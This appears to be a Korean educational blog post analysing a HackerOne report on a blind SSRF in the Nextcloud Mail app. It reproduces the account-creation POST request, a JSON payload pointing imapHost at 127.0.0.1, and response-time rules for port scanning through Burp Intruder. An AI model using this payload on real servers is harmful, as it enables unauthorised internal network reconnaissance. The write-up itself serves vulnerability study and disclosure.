본 포스팅은 학습 목적으로 작성되었으며, hackerone report를 기반으로 작성되었습니다.
분석 레포트
https://hackerone.com/reports/1736390
Nextcloud Mail 애플리케이션을 통한 Blind SSRF 취약점에 대한 제보이다.
(보고서 제보 일 기준) 최신 Mail release : 2.0.1
NextCloud의 통합 메일 애플리케이션에서 메일 계정 연결 프로세스 중 모든 필드(IMAP, STMP 등)의 유효성이 확인되면, 아래와 같은 POST 요청이 이루어진다.
POST /apps/mail/api/accounts HTTP/2
Host: redacted
Cookie: redacted
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: application/json, text/plain, */*
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/json
Requesttoken: redacted
Content-Length: 333
Origin: redacted
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
{"imapHost":"myimapserver.org","imapPort":993,"imapSslMode":"tls","imapUser":"xxx@xxx.org","imapPassword":"xxx","smtpHost":"mysmtpserver.org","smtpPort":465,"smtpSslMode":"tls","smtpUser":"xxx@xxx.org","smtpPassword":"xxx","accountName":"xxx@xxx.orgr","emailAddress":"xxx@xxx.org"}
여기서, imapHost 매개변수와 원하는 포트 번호로 imapPort 매개변수를 사용하여, SSRF가 이루어진다.
imapHost에 burpcollaborator 주소를 넣어, request 하였다.
그런 다음 응답 시간을 기준으로 포트 스캔에 사용할 수 있다. ( 절대적인 것이 아니라, 확인이 필요해보인다. )
1. 응답 시간 < 100ms 는 포트가 닫혀 있거나, 수신 중인 서비스가 없음.
2. 응답 시간 > 1000ms 라면, 응답 포트가 열려 있고, 서비스가 수신 중이다.
아래는 로컬 서버를 스캔하기 위한 요청이다.
{"imapHost":"127.0.0.1","imapPort":<port_number>,"imapSslMode":"none","imapUser":"xxx@xxx.org","imapPassword":"xxx","smtpSslMode":"none","smtpUser":"xxx@xxx.org","smtpPassword":"xxx","accountName":"xxx@xxx.org","emailAddress":"xxx@xxx.org"}
여기서 매개변수 imapSslMode를 없음으로 두는 것이 중요하다.
이를 자동화 하기위해 Burp Suite의 Intruder를 사용해 수행한다. 그리고 아래는 그 결과이다.
Port 80 - response time : 5200ms - Apache2 service
Port 443 - response time : 5200ms - Apache2 service
Port 8080 - response time 5140ms - CrowdSec
Port 6060 - response time 5180ms - CrowdSec
Port 5432 - response time 5191ms - PostgreSQL
Port 6379 - response time 5216ms - My Redis instance for Nextcloud
제보자는 이 이상으로 SSRF 의 영향력을 높이지는 못하였다.
Impact
- Owasp -
웹 애플리케이션이 사용자가 제공한 URL의 유효성을 검사하지 않고 원격 리소스를 가져올 때마다 SSRF 결함이 발생한다. 이를 통해 공격자는 방화벽, VPN 또는 다른 유형의 네트워크 액세스 제어 목록(ACL)으로 보호되는 경우에도 애플리케이션이 예상치 못한 대상으로 조작된 요청을 보내도록 강제할 수 있다.
- 이 취약점은 완전한 Blind SSRF 취약점이다. -
해당 취약점은 메일 애플리케이션이 설치되어 있고 활성화되어 있는 한 권한에 관계없이 모든 사용자가 악용할 수 있다. 따라서 악의적인 사용자는 서버에서 로컬로 실행되는 서비스를 검색하고 내부 네트워크를 스캔하여 응답하는 IP, 각 IP 주소에서 실행되는 서비스 등에 대한 흥미로운 정보를 얻을 수 있다.